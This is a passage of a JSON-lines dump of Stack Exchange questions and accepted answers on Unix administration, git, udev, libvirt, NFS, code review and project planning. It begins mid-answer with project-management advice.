estimates about how long each feature will take to design, develop and test. You write a nice document and you let your Boss read it to make sure you're on the right track.In step 3, you start designing some code examples, simple databases, some mock-up and whatever else to provide you more details on what needs to be built. You are at this level now! It's far from finished but it will allow you to divide the project in logical blocks. This is also a good point to start generating lots of diagrams, preferably UML diagrams, that will provide plenty of details of the whole project. This should give you more detailed information on all the parts of the project and to make better estimates of the time needed to finish each part.Step 4 is basically the part where the workload gets divided. You know the parts, you know how long each part will take, approximately and you should have detailed information about what each part should do. Use this information to decide if you need more developers and let each developer write a technical design for the piece of the project that they will be working on. These technical designs then need to be reviewed to make sure they all fit together.Writing code is step 5. Now the real code-monkeys will start working! All code written up to this moment will just have to be stored and might be used as reference material, but should NOT be used for production code without proper checks. Use a Source/Version Control System to maintain the code between all developers.Still not ready, you now go to step 6, which is testing. Developers should never test their own code, or the code of their team-members. So you will need to find/hire some experienced testers who are willing to test the whole project. If you deliver your project untested, you will definitely lose customers and the value of your project will be next to nothing.Finally, step 7: deliver the product to the users. For web applications, this means making the server accessible for the World.I estimate that you're halfway step 3 at this moment. While whatever you've build might look great to you, don't even think it will be nearly finished! What you have could still be used for small-scale situations but you have a long road to go. You will have to pick some development methodology and you will need to start creating a lot more documentation. Functional designs, technical designs, UML diagrams and whatever more. And yes, this takes a lot of valuable time, but also keep in mind that all these documents can be used from a marketing perspective too! Your boss could use it to find investors, who can now examine what you're trying to createYou have a very small team so I would think you will need some additional help. I would suggest that you find two more developers and an additional tester. While your secretary could do some of the testing, their regular job will make it impossible for them to do complete tests. Most likely, they will click 5 buttons and then tell you it's broken... An experienced tester will tell you where the final product is having errors and where it stops following the original design!And you? You should become a project manager! As you say, you have some experience but to build a large-scale project, you will definite need an expert. Preferably two or more. You would be their chief and you will be the one who will make the technical decisions. And the developers will first have to write technical documentation, which you will need to approve before they can write the code.Don't stay a developer, though! You're too inexperienced to handle large-scale projects! You would be great to manage the whole project, but not to build it yourself!"  } 
{  "id": "_webapps.85883"  , "question": "I do not use Facebook very much but I remeber reading some documentation a long time ago about Facebook apps being available by third-party developers.Where do I view the list and how can I browse and install some of these (just like Android and iPhone users can download and install apps from the respective play store or equivalent)??"  , "title": "Where can I view a list of Facebook apps to install from?"  , "tags": "facebook;facebook apps"  , "accepted_answer": "Facebook currently lists games this wayPoint your browser to https://www.facebook.com/games/From there you should be able to search for other apps as well and send it to mobile to install."  } 
{  "id": "_unix.90925"  , "question": "I'm using apticron to notify myself about available updates.  However, I've got an installation on a VPN that seems to notify about packages I DON'T have installed.  For example, it keeps (daily) suggesting that I upgrade sysvinit - I have upstart installed, not sysvinit.  I used to have it for a number of other packages (basic libraries that weren't installed in my original Debian-wheezy image), so I've shut up those warnings just by installing the libraries.  However, I don't really want to ditch upstart for sysvinit just to make apticron play more nicely.Any ideas how to make it stop?  "  , "title": "Apticron notifying about uninstalled packages"  , "tags": "apt;debian"  } 
{  "id": "_unix.22988"  , "question": "I want a simple little command to strip an XML-Header and Footer from a file:<?xml version=1.0 encoding=UTF-8?><conxml><MsgPain001>    <HashValue>A9C72997C702A2F841B0EEEC3BD274DE1CB7BEA4B813E030D068CB853BCFECA6</HashValue>    <HashAlgorithm>SHA256</HashAlgorithm>    <Document>                ...    </Document>    <Document>                ...    </Document></MsgPain001></conxml>...Should become just <Document>         ...    </Document>    <Document>          ...    </Document>(note the indenting, the indent of the first document-tag should be stripped of.This sounds like a (greedy) regex <Document>.*</Document>But I don't get it due to the linefeeds. Could someone provide a simple sed script or similar to get it?I need it in a pipe to compute a hash over the contained documents."  , "title": "simple command to strip header and footer from a file"  , "tags": "sed;regular expression"  , "accepted_answer": "Using sed: sed -n '/<Document>/,/<\\/Document>/ p' yourfile.xmlExplanation:-n makes sed silent, meaning it does not output the whole file contents,/pattern/ searches for lines including specified pattern,a,b (the comma) tells sed to perform an action on the lines from a to b (where a and b get defined by matching the above patterns),p stands for print and is the action performed on the lines that matched the above. Edit: If you'd like to additionally strip the whitespace before <Document>, it can be done this way: sed -ne '/ <Document>/s/^ *//' -e '/<Document>/,/<\\/Document>/ p' yourfile.xml"  } 
{  "id": "_webapps.89446"  , "question": "I'm trying to have people go back in after they've submitted the form and fix things.  I've marked the entries incomplete and want to, whenever the form is deemed incomplete, have an automatic email response sent to the enterer asking them to complete other details.  How do I do this?"  , "title": "How to allow someone to correct their Cognito Form submission"  , "tags": "cognito forms"  } 
{  "id": "_unix.344445"  , "question": "I have a USB-CAN adapter called USBtin (http://www.fischl.de/usbtin/). It's connected to a Raspberry Pi 2 running Raspbian (Linux raspberrypi 4.4.16-v7+ #1 SMP Fri Aug 5 14:49:49 UTC 2016 armv7l GNU/Linux).My goal is to send and receive CAN messages in a Python application. For that I thought using slcan would be a good idea. I compiled slcan-support into the kernel, and to use it I basically followed the Lawicel CANUSB tutorial.I added 90-slcan.rules to /etc/udev/rules.d/ so it should work with the USBtin:ACTION==add, ENV{ID_MODEL}==USBtin, ENV{SUBSYSTEM}==tty, \\    RUN+=/usr/bin/logger [udev] USBtin detected - running slcan_add.sh!, \\    RUN+=/usr/local/bin/slcan_add.sh $kernelACTION==remove, ENV{ID_MODEL}==USBtin, ENV{SUBSYSTEM}==usb, \\    RUN+=/usr/bin/logger [udev] USBtin removed - running slcan_remove.sh!, \\    RUN+=/usr/local/bin/slcan_remove.shThe add script looks like this:#!/bin/shsleep 7#slcand -o -c -f -s4 /dev/$1 slcan0/usr/local/bin/slcand -o -c -f -s4 /dev/$1logger Return value of slcand was $?sleep 2ifconfig slcan0 upIn the syslog I can see that these are executed when I plug-in / remove the adapter. I also see the sys-logging produced by slcand. The last thing I see from the slcand in the syslog is: attached TTY /dev/ttyACM0 to netdevice slcan0 (see below). However, afterwards the daemon is not running and the slcan0 interface is also not there.If I manually runsudo /usr/local/bin/slcand -o -c -f -s4 /dev/ttyACM0on a console though, the daemon runs just fine.Any idea why it doesn't work when I just plug it in and let udev do it? I don't know if it helps but the code of slcand can be found on GitHub (I'm using the latest version from the trunk).Syslog:Feb 12 17:38:28 raspberrypi kernel: [  668.511547] usb 1-1.4: new full-speed USB device number 4 using dwc_otgFeb 12 17:38:28 raspberrypi kernel: [  668.616867] usb 1-1.4: New USB device found, idVendor=04d8, idProduct=000aFeb 12 17:38:28 raspberrypi kernel: [  668.616899] usb 1-1.4: New USB device strings: Mfr=1, Product=2, SerialNumber=0Feb 12 17:38:28 raspberrypi kernel: [  668.616916] usb 1-1.4: Product: USBtinFeb 12 17:38:28 raspberrypi kernel: [  668.616933] usb 1-1.4: Manufacturer: Microchip Technology, Inc.Feb 12 17:38:28 raspberrypi mtp-probe: checking bus 1, device 4: /sys/devices/platform/soc/3f980000.usb/usb1/1-1/1-1.4Feb 12 17:38:28 raspberrypi mtp-probe: bus: 1, device: 4 was not an MTP deviceFeb 12 17:38:28 raspberrypi kernel: [  668.671845] cdc_acm 1-1.4:1.0: ttyACM0: USB ACM deviceFeb 12 17:38:28 raspberrypi kernel: [  668.673109] usbcore: registered new interface driver cdc_acmFeb 12 17:38:28 raspberrypi kernel: [  668.673130] cdc_acm: USB Abstract Control Model driver for USB modems and ISDN adaptersFeb 12 17:38:28 raspberrypi logger: [udev] USBtin detected - running slcan_add.sh!Feb 12 17:38:35 raspberrypi slcand[1379]: starting on TTY device /dev/ttyACM0Feb 12 17:38:35 raspberrypi slcand[1380]: attached TTY /dev/ttyACM0 to netdevice slcan0Feb 12 17:38:35 raspberrypi logger: Return value of slcand was 0Feb 12 17:42:29 raspberrypi systemd[1]: Starting Cleanup of Temporary Directories...This is the output of udevadm info -a -n /dev/ttyACM0:Udevadm info starts with the device specified by the devpath and thenwalks up the chain of parent devices. It prints for every devicefound, all possible attributes in the udev rules key format.A rule to match, can be composed by the attributes of the deviceand the attributes from one single parent device.  looking at device '/devices/platform/soc/3f980000.usb/usb1/1-1/1-1.4/1-1.4:1.0/tty/ttyACM0':    KERNEL==ttyACM0    SUBSYSTEM==tty    DRIVER==  looking at parent device '/devices/platform/soc/3f980000.usb/usb1/1-1/1-1.4/1-1.4:1.0':    KERNELS==1-1.4:1.0    SUBSYSTEMS==usb    DRIVERS==cdc_acm    ATTRS{bInterfaceClass}==02    ATTRS{bmCapabilities}==2    ATTRS{bInterfaceSubClass}==02    ATTRS{bInterfaceProtocol}==01    ATTRS{bNumEndpoints}==01    ATTRS{authorized}==1    ATTRS{supports_autosuspend}==1    ATTRS{bAlternateSetting}== 0    ATTRS{bInterfaceNumber}==00  looking at parent device '/devices/platform/soc/3f980000.usb/usb1/1-1/1-1.4':    KERNELS==1-1.4    SUBSYSTEMS==usb    DRIVERS==usb    ATTRS{bDeviceSubClass}==00    ATTRS{bDeviceProtocol}==00    ATTRS{devpath}==1.4    ATTRS{idVendor}==04d8    ATTRS{speed}==12    ATTRS{bNumInterfaces}== 2    ATTRS{bConfigurationValue}==1    ATTRS{bMaxPacketSize0}==8    ATTRS{busnum}==1    ATTRS{devnum}==4    ATTRS{configuration}==    ATTRS{bMaxPower}==100mA    ATTRS{authorized}==1    ATTRS{bmAttributes}==80    ATTRS{bNumConfigurations}==1    ATTRS{maxchild}==0    ATTRS{bcdDevice}==0100    ATTRS{avoid_reset_quirk}==0    ATTRS{quirks}==0x0    ATTRS{version}== 2.00    ATTRS{urbnum}==77    ATTRS{ltm_capable}==no    ATTRS{manufacturer}==Microchip Technology, Inc.    ATTRS{removable}==removable    ATTRS{idProduct}==000a    ATTRS{bDeviceClass}==02    ATTRS{product}==USBtin  looking at parent device '/devices/platform/soc/3f980000.usb/usb1/1-1':    KERNELS==1-1    SUBSYSTEMS==usb    DRIVERS==usb    ATTRS{bDeviceSubClass}==00    ATTRS{bDeviceProtocol}==02    ATTRS{devpath}==1    ATTRS{idVendor}==0424    ATTRS{speed}==480    ATTRS{bNumInterfaces}== 1    ATTRS{bConfigurationValue}==1    ATTRS{bMaxPacketSize0}==64    ATTRS{busnum}==1    ATTRS{devnum}==2    ATTRS{configuration}==    ATTRS{bMaxPower}==2mA    ATTRS{authorized}==1    ATTRS{bmAttributes}==e0    ATTRS{bNumConfigurations}==1    ATTRS{maxchild}==5    ATTRS{bcdDevice}==0200    ATTRS{avoid_reset_quirk}==0    ATTRS{quirks}==0x0    ATTRS{version}== 2.00    ATTRS{urbnum}==38    ATTRS{ltm_capable}==no    ATTRS{removable}==unknown    ATTRS{idProduct}==9514    ATTRS{bDeviceClass}==09  looking at parent device '/devices/platform/soc/3f980000.usb/usb1':    KERNELS==usb1    SUBSYSTEMS==usb    DRIVERS==usb    ATTRS{bDeviceSubClass}==00    ATTRS{bDeviceProtocol}==01    ATTRS{devpath}==0    ATTRS{idVendor}==1d6b    ATTRS{speed}==480    ATTRS{bNumInterfaces}== 1    ATTRS{bConfigurationValue}==1    ATTRS{bMaxPacketSize0}==64    ATTRS{authorized_default}==1    ATTRS{busnum}==1    ATTRS{devnum}==1    ATTRS{configuration}==    ATTRS{bMaxPower}==0mA    ATTRS{authorized}==1    ATTRS{bmAttributes}==e0    ATTRS{bNumConfigurations}==1    ATTRS{maxchild}==1    ATTRS{interface_authorized_default}==1    ATTRS{bcdDevice}==0404    ATTRS{avoid_reset_quirk}==0    ATTRS{quirks}==0x0    ATTRS{serial}==3f980000.usb    ATTRS{version}== 2.00    ATTRS{urbnum}==26    ATTRS{ltm_capable}==no    ATTRS{manufacturer}==Linux 4.4.16-v7+ dwc_otg_hcd    ATTRS{removable}==unknown    ATTRS{idProduct}==0002    ATTRS{bDeviceClass}==09    ATTRS{product}==DWC OTG Controller  looking at parent device '/devices/platform/soc/3f980000.usb':    KERNELS==3f980000.usb    SUBSYSTEMS==platform    DRIVERS==dwc_otg    ATTRS{hnp}==HstNegScs = 0x0    ATTRS{srp}==SesReqScs = 0x1    ATTRS{regvalue}==invalid offset    ATTRS{hsic_connect}==HSIC Connect = 0x1    ATTRS{guid}==GUID = 0x2708a000    ATTRS{mode}==Mode = 0x1    ATTRS{srpcapable}==SRPCapable = 0x1    ATTRS{regdump}==Register Dump    ATTRS{gpvndctl}==GPVNDCTL = 0x00000000    ATTRS{ggpio}==GGPIO = 0x00000000    ATTRS{hprt0}==HPRT0 = 0x00001005    ATTRS{wr_reg_test}==Time to write GNPTXFSIZ reg 10000000 times: 500 msecs (50 jiffies)    ATTRS{driver_override}==(null)    ATTRS{hcd_frrem}==HCD Dump Frame Remaining    ATTRS{mode_ch_tim_en}==Mode Change Ready Timer Enable = 0x0    ATTRS{gnptxfsiz}==GNPTXFSIZ = 0x01000306    ATTRS{remote_wakeup}==Remote Wakeup Sig = 0 Enabled = 0 LPM Remote Wakeup = 0    ATTRS{busconnected}==Bus Connected = 0x1    ATTRS{hcddump}==HCD Dump    ATTRS{gotgctl}==GOTGCTL = 0x001c0001    ATTRS{spramdump}==SPRAM Dump    ATTRS{grxfsiz}==GRXFSIZ = 0x00000306    ATTRS{gsnpsid}==GSNPSID = 0x4f54280a    ATTRS{gusbcfg}==GUSBCFG = 0x20001700    ATTRS{hptxfsiz}==HPTXFSIZ = 0x02000406    ATTRS{devspeed}==Device Speed = 0x0    ATTRS{fr_interval}==Frame Interval = 0x1d4c    ATTRS{rem_wakeup_pwrdn}==    ATTRS{bussuspend}==Bus Suspend = 0x0    ATTRS{buspower}==Bus Power = 0x1    ATTRS{hnpcapable}==HNPCapable = 0x1    ATTRS{rd_reg_test}==Time to read GNPTXFSIZ reg 10000000 times: 1410 msecs (141 jiffies)    ATTRS{enumspeed}==Device Enumeration Speed = 0x1    ATTRS{inv_sel_hsic}==Invert Select HSIC = 0x0    ATTRS{regoffset}==0xffffffff  looking at parent device '/devices/platform/soc':    KERNELS==soc    SUBSYSTEMS==platform    DRIVERS==    ATTRS{driver_override}==(null)  looking at parent device '/devices/platform':    KERNELS==platform    SUBSYSTEMS==    DRIVERS=="  , "title": "USB-CAN Adapter works manually but not via udev"  , "tags": "usb;udev"  } 
{  "id": "_unix.268115"  , "question": "How do I specify the log when autostarting a program in linux mint. For example I change the Dropbox startup script to:[Desktop Entry]Name=DropboxGenericName=File SynchronizerComment=Sync your files across computers and to the webExec=export DBUS_SESSION_BUS_ADDRESS=''; dropbox start -i > /tmp/dropbox.log 2>&1Terminal=falseType=ApplicationIcon=dropboxCategories=Network;FileTransfer;StartupNotify=truebut /tmp/dropbox.log does not exist."  , "title": "How to specify a log when autostarting in linux mint"  , "tags": "linux;linux mint;dropbox"  } 
{  "id": "_webmaster.106383"  , "question": "First, some prefacing which I believe will help give important context to my question.All of our clients' sites (150+ of them) have a few things in common:They're all in the same field.They're local businesses.Lead gen sites only, with no e-commerce.In part because of these things, they tend to be very low monthly traffic. I would wager that for any of them above 1,000 hits a month (which is very few of them), the great majority of their hits will be non-local, non-leads. Since we're lead-gen only, this traffic is very low priority to us.Our clients use templated websites and content. Duplicate? Yes; however we've done some testing and have found that we don't lose traffic as a result of this. We suspect it's because the sites' focuses are so heavily localized.This industry has some major players in the medical field who tend to produce popular content for queries at the top of the conversion funnel; we don't try to compete with these and instead focus almost entirely on bottom-of-the-funnel traffic.Here's my question: What are some best practices for link building in a situation like this? Ordinarily, the general strategy might include generating great quality content, building a network with high authority sites, etc. However this seems to go out the window when we're looking at trying to do this for 150+ sites. Our standard approach is to work with local partners and affiliates to build a network. We've had some success with this, although it has some lower, finite limitations than a more global business would have. "  , "title": "Backlink building for multiple local businesses in same industry"  , "tags": "backlinks;local seo;link building"  } 
{  "id": "_softwareengineering.22265"  , "question": "I'm still at school, and I know I have problems dealing with other people.I'm not an angry or shy or different, I just like to work my way and with my opinions while respecting other's, I have a big curiosity and hunger for knowledge, but I lack practice and I guess people don't want to work with me because they might fear I would talk some kind of morale. (For example I started to learn programming using linux instead of windows, even if I use windows a lot. And I have a mac).What happens to programmers who lack teamwork? Where does the problems begin? Does being a good programmer compensate at least a little? Is it normal for a programmer to have a vision about his work instead of just doing what he is told?"  , "title": "How bad can it be to lack teamwork when you are a programmer?"  , "tags": "teamwork"  , "accepted_answer": "Your behavior is pretty common at your age. I was like you.The good news is that most of the time, it evolves in the good direction. You will learn how to integrate yourself within a team. You will love it! But I met some people that weren't able to make it and are now stuck is depression.Depending on the style of management of your company, you will either be rejected by your team or simply fired after a while. So you must be prepared to face some difficulties.France's most common style of management is based on fear and punishment. This is not a good news for you since it will encourage your individualism. So it will encourage your behavior.That said, you already know there is a problem with you, so it's a pretty good indication that you have all you need to evolve without external help. The first step is being aware. The second one, the most difficult, is acting on it."  } 
{  "id": "_unix.312399"  , "question": "I have recently installed Debian 8 (Jessie) on my laptop. I am using an external monitor as the primary display and the laptop monitor as a secondary display.The laptop monitor shows text etc on startup and then goes blank when the login screen loads.After logging in I can make the laptop monitor work by changing the resolution. After this the laptop monitor works until I log out again. It seems like it doesn't matter what resolution I change it to, just the act of changing the resolution makes it work. I am using Gnome.Can someone tell me how I can configure the system so that I do not have to do the aforementioned workaround?"  , "title": "Debian Jessie problems with dual monitors on laptop"  , "tags": "debian;laptop;dual monitor"  } 
{  "id": "_codereview.133597"  , "question": "The method medianOfThreereturns the median of the first, center and last element in arraysorts the first, center, and last element of the array, so they are in order EXCEPT places the center in the second to last position.Examples:INPUT: 1,2,3  RETURN:2  EFFECT:1,2,3 INPUT: 3,2,1  RETURN:2  EFFECT:1,2,3 INPUT: 2,3,1  RETURN:2  EFFECT:1,2,3INPUT: -2,-3,-8,1,20  RETURN:-2  EFFECT:-8,-3,1,-2,20 INPUT: 15,20,5,10  RETURN:15  EFFECT:10,5,15,20  NOTE: when the center is moved to the second to last position, it doesn't matter where the value that was previously there goes (as long as it's still in the array). Though this probably isn't relevant. In fact, as long as the first, last and one before last are in the correct place, the rest of the elements can get scrambled.Here is the code. I tested it, but since it is rather complex it was hard to test (need to check return value and array and think carefully of expected result). Any suggestions for tools that make testing code like this easier? /**Sorts first, center and last element, swaps the new center element with the one before the new last and returns its value.*/public static int medianOfThree(int[] sample, int start, int end) {    if(sample.length < 3) {        throw new IllegalArgumentException(arrays of length three or greater);    }    int center = (int)Math.floor((end-start)/2);    if(sample[start] > sample[end])       swap(sample, start, end);    if(sample[start] > sample[center])       swap(sample, start, center);    if(sample[center] > sample[end])       swap(sample, center, end);int secondLast = end - 1    swap(sample, center, secondLast );    return sample[secondLast];}//swaps two elements in array given their positionsprivate static void swap(int[] sample, int x, int y) {    int temp = sample[x];    sample[x] = sample[y];    sample[y] = temp;}"  , "title": "Finding median of 3 elements in array, and sorting them"  , "tags": "java;sorting"  , "accepted_answer": "Bug when finding centerYour code for finding the center is wrong:int center = (int)Math.floor((end-start)/2);For example, if start is 10 and end is 20, your calculation makes center be 5 when it should be 15.  Also, you don't need Math.floor because you are using integer arithmetic so there is nothing to round up or down.  You should change your code to this:int center = start + (end-start)/2;"  } 
{  "id": "_unix.43932"  , "question": "I have a Linux network Bonding interface for two Ethernet interfaces (eth0 and eth1) $ cat /etc/sysconfig/network-scripts/ifcfg-bond0   DEVICE=bond0  BOOTPROTO=static  ONBOOT=yes  IPADDR=XX.XX.XX.XX  NETMASK=255.255.255.0  GATEWAY=XX.XX.XX.XXX  How i can add another IPADDR to this bonding Interface ?"  , "title": "Add another IP address to a Bonding Interface"  , "tags": "networking;fedora;rhel;bonding"  } 
{  "id": "_unix.372856"  , "question": "I need to get the shell equivalent ofexport PYTHONHTTPSVERIFY=0to work in an autotools .am file, but can't get it working.  I currently have this declaration in my Makefile.am file:PYTHONHTTPSVERIFY=0but when the build runs it is not behaving as though that variable is set as an environment variable.  Can anyone advise on what the correct syntax is?"  , "title": "How to set shell environment variable from autotools .am file?"  , "tags": "shell;make;variable;autotools"  , "accepted_answer": "To declare environment variables is better to user the configure.ac file. There you can write:export PYTHONHTTPSVERIFY=0However, I am not sure what are you trying to achieve with that. Do you need an environmental variable to run your program or to compile it? In the former case, other methods are preferable. "  } 
{  "id": "_cs.39508"  , "question": "This question was asked by my professor in optional brain teaser section, I have tried to solve it for last 48 hours, I am not able to construct a deterministic Turing Machine, Can someone provide hint or something because this seems like impossible to me :( .."  , "title": "How to design a Turing Enumerator which either ends with 011 or is of odd length?"  , "tags": "turing machines"  , "accepted_answer": "I'm assuming you're looking for a Turing machine that decides the language $L$ consisting of all words ending with 011 or of odd length.Hint: You're lucky since $L$ is regular. Construct a DFA for $L$ and rephrase it as a Turing machine."  } 
{  "id": "_softwareengineering.110266"  , "question": "My organization finally upgraded to MS Visual Studio 2010 this year.  One of the big new features that Visual Studio 2010 offers is the F# programming language.I understand that F# offers a functional programming paradigm, similar to Lisp.  Unlike Lisp though, F# is compiled into managed code for the .net framework.Right now, I work in database-driven web application development.  Right now, I'm working with an n-tier application with SQL code on the back end and a C#.net AJAX web application on the front-end.  I would like to know if F# offers anything that would be particularly useful for this type of development."  , "title": "Does F# offer anything particularly useful for database-driven web development?"  , "tags": "web development;.net;asp.net;sql;f#"  } 
{  "id": "_unix.336482"  , "question": "I did git fetch and git fetch --all but there was no output for the same. after that when I do git pull again I get the below error again.I am willing to fetch the origin from the remote to my local.I even did this below but still there is an error.[root@connect /myurl/fd-ansible]# git fetch origin masterPassword:From https://github.com/myurl/fd-ansible * branch            master     -> FETCH_HEAD[root@connect /myurl/fd-ansible]# git clean -df[root@connect /myurl/fd-ansible]# git pullPassword:Updating 8bf6b66..a0b2167error: Your local changes to 'group_vars/system1' would be overwritten by merge.  Aborting.Please, commit your changes or stash them before you can merge.Edited with @Stephen Kitt solution [root@connect /myurl/fd-ansible]# git checkout group_vars/system1[root@connect /myurl/fd-ansible]# git pullPassword:Updating 8bf6b66..a0b2167Fast-forward cmdb/vm.csv |  118 +++++++++++++++++++++++++------------------------- group_vars/system1       |   56 ++++++++++++++++++++++++ 2 files changed, 115 insertions(+), 59 deletions(-)"  , "title": "Git pull merge issue with remote origin"  , "tags": "github"  , "accepted_answer": "To overwrite your local file (losing your changes):git checkout group_vars/system1Then you should be able to git pull."  } 
{  "id": "_unix.174884"  , "question": "using virt-manager quite successfully. I am wondering if it's possible to specify in the virtual DHCP server, that some virtual machines will have a specific IP address (maybe via MAC address mapping?).Any ideas on how to do this? Otherwise I have to resort to simpler, and less elegant solutions, such as configuring the ip address from inside the VMs."  , "title": "virt-manager: is it possible to assign specific IP addresses to certains VMs via the virtual DHCP?"  , "tags": "virtual machine;kvm;virtualization;qemu"  , "accepted_answer": "AFAIK virt-manager can only assign MAC-addresses. So what you would need to do is setup your DHCP server to map those to specific IP addresses. Even if a different machine (e.g. your router) normally provides DHCP addresses, but cannot be easily modified programmatically, you can set a DHCP server up on the hosts of the VMs, that serves only to specific MAC addresses and as long as those are not in the range the other DHCP server gives out, you will not run into a problem.Update prompted by Pavel's comment, you can set IP addresses via libvrt (although I rather have all my IP addresses in one spot)...<mac address='00:16:3E:5D:C7:9E'/><domain name=example.com/><dns>  <txt name=example value=example value />  <forwarder addr=8.8.8.8/>  <forwarder addr=8.8.4.4/>  <srv service='name' protocol='tcp' domain='test-domain-name' target='.' port='1024' priority='10' weight='10'/>  <host ip='192.168.122.2'>    <hostname>myhost</hostname>    <hostname>myhostalias</hostname>  </host></dns><ip address=192.168.122.1 netmask=255.255.255.0>  <dhcp>    <range start=192.168.122.100 end=192.168.122.254 />    <host mac=00:16:3e:77:e2:ed name=foo.example.com ip=192.168.122.10 />    <host mac=00:16:3e:3e:a9:1a name=bar.example.com ip=192.168.122.11 />  </dhcp></ip><ip family=ipv6 address=2001:db8:ca2:2::1 prefix=64 /><route family=ipv6 address=2001:db9:ca1:1:: prefix=64 gateway=2001:db8:ca2:2::2 />"  } 
{  "id": "_codereview.113861"  , "question": "A interesting challenge was brought to my attention: to flip an array. I thought it might be more convenient if its bounds were symmetrical, say [-N..N] instead of [0 .. 2N + 1].Now I'm curious about what could be done to make this Array more mature. Say, like a Boost component.#include <cassert>#include <iostream>#include <algorithm>template <typename T, int LoBound, int HiBound> class Array {  T arr_[HiBound - LoBound + 1];public:  Array()  {    std::fill(arr_, arr_ + sizeof(arr_) / sizeof(arr_[0]), T{});  }  Array(const Array& other)    :arr_(other.arr_)  {}  Array(std::initializer_list<T> initList)  {    std::copy(initList.begin(), initList.end(), arr_);  }  T& operator[](int ix)  {    assert(ix >= LoBound && ix <= HiBound);    return arr_[ix - LoBound];  }  const T& operator[](int ix) const  {    assert(ix >= LoBound && ix <= HiBound);    return arr_[ix - LoBound];  }};int main(){  enum {LoBound = -2, HiBound = 2};  using A1D = Array<int, LoBound, HiBound>;  Array<A1D, LoBound, HiBound> arr =   { A1D{ 1,  2,  3,  4,  5},     A1D{ 6,  7,  8,  9, 10},    A1D{11, 12, 13, 14, 15},    A1D{16, 17, 18, 19, 20},    A1D{21, 22, 23, 24, 25} };  for (int i = LoBound; i <= HiBound; ++i) {    for (int j = LoBound; j <= HiBound; ++j) {      std::cout << arr[-i][-j] <<  ;    }    std::cout << \\n;  }  return 0;}"  , "title": "Fixed array with configurable bounds"  , "tags": "c++;array;template meta programming"  , "accepted_answer": "It looks pretty clean to me.The copy constructor doesn't have to be explicitly declared, you could = default it or just omit.You shouldn't fill() the array. It is already default constructed, so that's just duplicated work. The default constructor again could be = default or omitted. Actually, maybe could provide an explicit constructor that takes a fill value. That can be handy.A size() method to return sizeof(arr_) / sizeof(arr_[0]) should be useful, for both internal and external uses.Mark the class final? I'd probably do it, but that's probably a matter of personal preference.If you're interested in making this class Standard compliant, well, there's a long road ahead ;). It needs iterators and several other methods ([c]begin/[c]end/front/back/at...). Look into std::array for the details."  } 
{  "id": "_unix.166475"  , "question": "There is one parameter -adcdev Name of audio device to use for input., but it doesn't say if this can be stdin. Can pocketsphinx_continuous read from stdin?"  , "title": "Can pocketsphinx_continuous read from stdin?"  , "tags": "stdin;speech recognition"  , "accepted_answer": "Yes, in version 0.8, you can use -infile as in pocketsphinx_continuous -infile /dev/stdin. The documentation is still trying to catch up with this new feature!"  } 
{  "id": "_unix.316897"  , "question": "this is driving me crazy, I've been searching for a good answer why this doesn't work for months now.. So basically, what I'm trying to do is to sync home folders with NFS to a server.This is the LDAP scheme: --- defines a map inside that mapautomountMapName=auto_masterINSIDE: objectClass: TopobjectClass: automountMapautomountMapName: auto_master---automountKey=/Network/Servers/Servername/---INSIDE---objectClass: automount---automountKey:/Network/Servers/servername---automountInformation:autouser--------------------------------------------------automountMapName=auto_userINSIDE: objectClass: TopobjectClass: automountMapautomountMapName: auto_user---automountKey=home---INSIDE:---objectClass:automount---automountKey: home---automountInformation:servernameFQDN:/homeThis is the /etc/exports file:/home 192.168.1.0/255.255.255.0(rw,subtree_check,no_root_squash,insecure)This is the permissions inside the home folders:   drwxr-xr-x 1 username   staff  18 17 okt 08.43 usernameWhen I try to sync by using this command: /usr/bin/rsync -az --delete /Users/username/ /Network/Servers/servername/home/username/I receive the following error message: rsync: ERROR: cannot stat destination /Network/Servers/servername/home/username/: Stale NFS file handle (70)I get the same error message when trying to change directory to /Network/Servers/servername/home/usernameAlso worth mentioning is that it have worked before, but that might've been on other OSX versions. "  , "title": "Automount OSX home folders (NFS & OPENLDAP)"  , "tags": "nfs;openldap;autofs"  } 
{  "id": "_unix.53938"  , "question": "I'm using sparse raw image files for guest VMs and OCFS2 on the host (local-only, not clustered) for the reflink feature. I understand from Googling around that OCFS2 is one of the filesystems that can punch holes back into sparse files.If I understand correctly, it may be possible (and apparently can be achieved with XFS) to combine this feature with TRIM/discard support in the guest machines so that when files in the guest are deleted, space on the host is automatically reclaimed. However despite much experimentation, I haven't been able to demonstrate this working.Is this possible, and if it depends on versions of the kernel and/or QEMU, what are the minimum versions I need? Also have I missed anything with the configuration? I've:mounted the (ext4) guest filesystem with the discard option in /etc/fstabtried the current beta of Debian Wheezy for host and guest, and CentOS 6.2 for hosttried running fstrim on the guest (I get FITRIM ioctl failed: Operation not supportedbut I'm not 100% sure if this is relevent)tried bus=ide and bus=virtio (with CentOS 6.2 host)"  , "title": "Can QEMU/KVM+OCFS2 be configured to punch holes in sparse image files when files are deleted in the guest?"  , "tags": "virtualization;qemu;sparse files"  , "accepted_answer": "You should be able to recover space by using virtio-scsi devices and specifying discard=unmap in the libvirt definition for the disk. I haven't tried this in CentOS/RHEL but I did get this to work in later versions of Fedora. I wrote a blog post about it.I would say to give it a try and see if it works."  } 
{  "id": "_unix.52476"  , "question": "I've got a Thinkpad T400 with Gentoo Linux installed. Suspend-to-RAM works like a charm.However, Susped-to-Disk doesn't work: if I suspend, the Laptop powers down and accesses the HD for around 30s. However, if I switch it back on, it just boots as normal, but doesn't resume to the previous state.Here's the /var/log/pm-suspend.log just before the suspend:Sun Oct 21 14:16:44 CEST 2012: Finished.Initial commandline parameters: Blacklisting 01grub.Sun Oct 21 15:26:06 CEST 2012: Running hooks for hibernate.Running hook /usr/lib64/pm-utils/sleep.d/00logging hibernate hibernate:Linux rgs-lenovo 3.4.9-gentoo #1 SMP Fri Aug 31 18:55:03 CEST 2012 x86_64 Intel(R) Core(TM)2 Duo CPU P8600 @ 2.40GHz GenuineIntel GNU/LinuxModule                  Size  Used bycdc_wdm                 8704  0 cdc_acm                14890  0 rfcomm                 21490  0 bnep                    9782  0 btusb                  10904  0 bluetooth             162465  5 rfcomm,bnep,btusbmmc_block              16408  0 nls_iso8859_1           4521  0 nls_cp850               5362  0 vfat                    8384  0 fat                    45316  1 vfattwofish_x86_64_3way    19478  0 lrw                     3622  1 twofish_x86_64_3waytwofish_x86_64          5539  1 twofish_x86_64_3waytwofish_common         14649  2 twofish_x86_64_3way,twofish_x86_64aes_x86_64              7768  0 aes_generic            26983  1 aes_x86_64xts                     2912  1 twofish_x86_64_3waygf128mul                7431  2 lrw,xtsdm_crypt               13973  0 dm_mod                 62853  1 dm_cryptrndis_host              6143  0 cdc_ether               4584  1 rndis_hostusbnet                 17584  2 